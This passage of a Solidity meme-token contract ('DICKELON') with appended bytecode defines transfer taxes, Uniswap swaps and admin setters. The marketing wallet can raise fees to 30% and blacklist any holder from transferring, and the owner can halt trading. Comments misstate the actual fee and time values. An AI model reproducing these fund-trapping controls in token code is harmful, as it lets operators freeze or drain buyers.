require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DICKELON is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DICKELON"; string private constant _symbol = "DICKE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; address[] private _confirmedSnipers; uint256 public launchTime; // Jeets out Fee uint256 private _redisFeeJeets = 5; uint256 private _taxFeeJeets = 25; // Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; // Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; // Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x39CdfC25fa752f592F56F436022489299894Efd2); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 6 hours; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 1e10 * 10**9; //1% - 10000000000 uint256 public _maxWalletSize = 3e10 * 10**9; //3% uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 5e9 * 10**9; // 0.5% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function marketingWallet() public view returns (address) { return _marketingAddress; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { // Trade start check if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 30 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; // Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { // Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; // antibot if (block.timestamp == launchTime) { _isSniper[to] = true; _confirmedSnipers.push(to); } } // Set Fee for Sells // TAX SELLERS 25% WHO SELL WITHIN 48 HOURS (13% marketing + 12% holders redistribution) if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } // Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external { require(_msgSender() == _marketingAddress); _swapTokensAtAmount = swapTokensAtAmount; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public { require(_msgSender() == _marketingAddress); isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address sniper) external { require(_msgSender() == _marketingAddress); _isSniper[sniper] = true; _confirmedSnipers.push(sniper); } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external { require(_msgSender() == _marketingAddress); require(maxTxAmount >= 1e9 * 10**9, "Maximum transaction amount must be greater than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external { require(_msgSender() == _marketingAddress); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external { require(_msgSender() == _marketingAddress); require(amountBuy >= 0 && amountBuy <= 30); require(amountSell >= 0 && amountSell <= 30); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external { require(_msgSender() == _marketingAddress); require(amountRedisJeets >= 0 && amountRedisJeets <= 30); require(amountTaxJeets >= 0 && amountTaxJeets <= 30); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setBurnFee(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount >= 0 && amount <= 30); _burnFee = amount; } function setTimeJeets(uint256 hoursTime) external { require(_msgSender() == _marketingAddress); require(hoursTime >= 0 && hoursTime <= 200); timeJeets = hoursTime * 1 hours; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external { require(_msgSender() == _marketingAddress); require(amountRefBuy >= 0 && amountRefBuy <= 30); require(amountRefSell >= 0 && amountRefSell <= 30); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } }
0x60806040526004361061021e5760003560e01c806374010ece1161012357806398a5c315116100ab578063dd62ed3e1161006f578063dd62ed3e146107a6578063e0f9f6a0146107e3578063ea1644d51461080c578063f2fde38b14610835578063fe72c3c11461085e57610225565b806398a5c315146106c55780639ec350ed146106ee5780639f13157114610717578063a9059cbb14610740578063c55284901461077d57610225565b8063881dce60116100f2578063881dce60146105f25780638da5cb5b1461061b5780638f70ccf7146106465780638f9a55c01461066f57806395d89b411461069a57610225565b806374010ece1461054857806375f0a87414610571578063790ca4131461059c5780637d1db4a5146105c757610225565b806338eea22d116101a65780636b9cf534116101755780636b9cf534146104895780636d8aa8f8146104b45780636fc3eaec146104dd57806370a08231146104f4578063715018a61461053157610225565b806338eea22d146103e35780633e3e95981461040c57806349bd5a5e146104355780634bf2c7c91461046057610225565b806318160ddd116101ed57806318160ddd146102fa57806323b872dd1461032557806327c8f835146103625780632fd689e31461038d578063313ce567146103b857610225565b806306fdde031461022a578063095ea7b3146102555780630f3a325f146102925780631694505e146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610889565b60405161024c9190613917565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190613481565b6108c6565b60405161028991906138e1565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613394565b6108e4565b6040516102c691906138e1565b60405180910390f35b3480156102db57600080fd5b506102e461093a565b6040516102f191906138fc565b60405180910390f35b34801561030657600080fd5b5061030f610960565b60405161031c9190613b59565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061342e565b610971565b60405161035991906138e1565b60405180910390f35b34801561036e57600080fd5b50610377610a4a565b60405161038491906138c6565b60405180910390f35b34801561039957600080fd5b506103a2610a50565b6040516103af9190613b59565b60405180910390f35b3480156103c457600080fd5b506103cd610a56565b6040516103da9190613bce565b60405180910390f35b3480156103ef57600080fd5b5061040a6004803603810190610405919061351b565b610a5f565b005b34801561041857600080fd5b50610433600480360381019061042e9190613394565b610b08565b005b34801561044157600080fd5b5061044a610c27565b60405161045791906138c6565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906134ee565b610c4d565b005b34801561049557600080fd5b5061049e610cd3565b6040516104ab9190613b59565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d691906134c1565b610cd9565b005b3480156104e957600080fd5b506104f2610d8b565b005b34801561050057600080fd5b5061051b60048036038101906105169190613394565b610dfd565b6040516105289190613b59565b60405180910390f35b34801561053d57600080fd5b50610546610e4e565b005b34801561055457600080fd5b5061056f600480360381019061056a91906134ee565b610fa1565b005b34801561057d57600080fd5b50610586611057565b60405161059391906138c6565b60405180910390f35b3480156105a857600080fd5b506105b1611081565b6040516105be9190613b59565b60405180910390f35b3480156105d357600080fd5b506105dc611087565b6040516105e99190613b59565b60405180910390f35b3480156105fe57600080fd5b50610619600480360381019061061491906134ee565b61108d565b005b34801561062757600080fd5b50610630611151565b60405161063d91906138c6565b60405180910390f35b34801561065257600080fd5b5061066d600480360381019061066891906134c1565b61117a565b005b34801561067b57600080fd5b50610684611233565b6040516106919190613b59565b60405180910390f35b3480156106a657600080fd5b506106af611239565b6040516106bc9190613917565b60405180910390f35b3480156106d157600080fd5b506106ec60048036038101906106e791906134ee565b611276565b005b3480156106fa57600080fd5b506107156004803603810190610710919061351b565b6112e1565b005b34801561072357600080fd5b5061073e600480360381019061073991906134c1565b61138a565b005b34801561074c57600080fd5b5061076760048036038101906107629190613481565b611408565b60405161077491906138e1565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061351b565b611426565b005b3480156107b257600080fd5b506107cd60048036038101906107c891906133ee565b6114cf565b6040516107da9190613b59565b60405180910390f35b3480156107ef57600080fd5b5061080a600480360381019061080591906134ee565b611556565b005b34801561081857600080fd5b50610833600480360381019061082e91906134ee565b6115e9565b005b34801561084157600080fd5b5061085c60048036038101906108579190613394565b611654565b005b34801561086a57600080fd5b50610873611816565b6040516108809190613b59565b60405180910390f35b60606040518060400160405280600881526020017f4449434b454c4f4e000000000000000000000000000000000000000000000000815250905090565b60006108da6108d361181c565b8484611824565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600061097e8484846119ef565b610a3f8461098a61181c565b610a3a8560405180606001604052806028815260200161437060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109f061181c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128189092919063ffffffff16565b611824565b600190509392505050565b61dead81565b601f5481565b60006009905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aa061181c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac057600080fd5b60008210158015610ad25750601e8211155b610adb57600080fd5b60008110158015610aed5750601e8111155b610af657600080fd5b81600e81905550806010819055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4961181c565b73ffffffffffffffffffffffffffffffffffffffff1614610b6957600080fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8e61181c565b73ffffffffffffffffffffffffffffffffffffffff1614610cae57600080fd5b60008110158015610cc05750601e8111155b610cc957600080fd5b8060148190555050565b60205481565b610ce161181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590613a79565b60405180910390fd5b80601c60166101000a81548160ff02191690831515021790555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dcc61181c565b73ffffffffffffffffffffffffffffffffffffffff1614610dec57600080fd5b6000479050610dfa8161287c565b50565b6000610e47600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e8565b9050919050565b610e5661181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda90613a79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe261181c565b73ffffffffffffffffffffffffffffffffffffffff161461100257600080fd5b670de0b6b3a764000081101561104d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104490613a39565b60405180910390fd5b80601d8190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b601d5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ce61181c565b73ffffffffffffffffffffffffffffffffffffffff16146110ee57600080fd5b6110f730610dfd565b81111580156111065750600081115b611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90613b39565b60405180910390fd5b61114e81612956565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61118261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120690613a79565b60405180910390fd5b80601c60146101000a81548160ff02191690831515021790555042600b8190555050565b601e5481565b60606040518060400160405280600581526020017f4449434b45000000000000000000000000000000000000000000000000000000815250905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112b761181c565b73ffffffffffffffffffffffffffffffffffffffff16146112d757600080fd5b80601f8190555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661132261181c565b73ffffffffffffffffffffffffffffffffffffffff161461134257600080fd5b600082101580156113545750601e8211155b61135d57600080fd5b6000811015801561136f5750601e8111155b61137857600080fd5b81600c8190555080600d819055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113cb61181c565b73ffffffffffffffffffffffffffffffffffffffff16146113eb57600080fd5b80601c60176101000a81548160ff02191690831515021790555050565b600061141c61141561181c565b84846119ef565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661146761181c565b73ffffffffffffffffffffffffffffffffffffffff161461148757600080fd5b600082101580156114995750601e8211155b6114a257600080fd5b600081101580156114b45750601e8111155b6114bd57600080fd5b81600f81905550806011819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661159761181c565b73ffffffffffffffffffffffffffffffffffffffff16146115b757600080fd5b600081101580156115c9575060c88111155b6115d257600080fd5b610e10816115e09190613cc5565b601a8190555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661162a61181c565b73ffffffffffffffffffffffffffffffffffffffff161461164a57600080fd5b80601e8190555050565b61165c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090613a79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611759576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611750906139b9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601a5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b90613b19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb906139d9565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119e29190613b59565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613ab9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac690613939565b60405180910390fd5b60008111611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0990613a99565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9690613af9565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390613af9565b60405180910390fd5b60096000611c3861181c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb790613af9565b60405180910390fd5b611cc8611151565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d365750611d06611151565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561235457601c60149054906101000a900460ff16611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190613959565b60405180910390fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e355750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa2573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ea257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611efc5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f565750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa157601d54811115611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9790613999565b60405180910390fd5b5b5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561204e5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561208657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120c0575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561218f57601e54816120d284610dfd565b6120dc9190613c3e565b1061211c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211390613ad9565b60405180910390fd5b601c60179054906101000a900460ff161561218e57610708600b546121419190613c3e565b421161218d5760205481111561218c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612183906139f9565b60405180910390fd5b5b5b5b600061219a30610dfd565b90506000601f54821190508080156121bf5750601c60159054906101000a900460ff16155b80156122195750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156122315750601c60169054906101000a900460ff165b80156122875750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122dd5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561235157600080601454111561232257612316606461230860145486612bde90919063ffffffff16565b612c5990919063ffffffff16565b905061232181612ca3565b5b61233681846123319190613d1f565b612956565b6000479050600081111561234e5761234d4761287c565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123fb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffff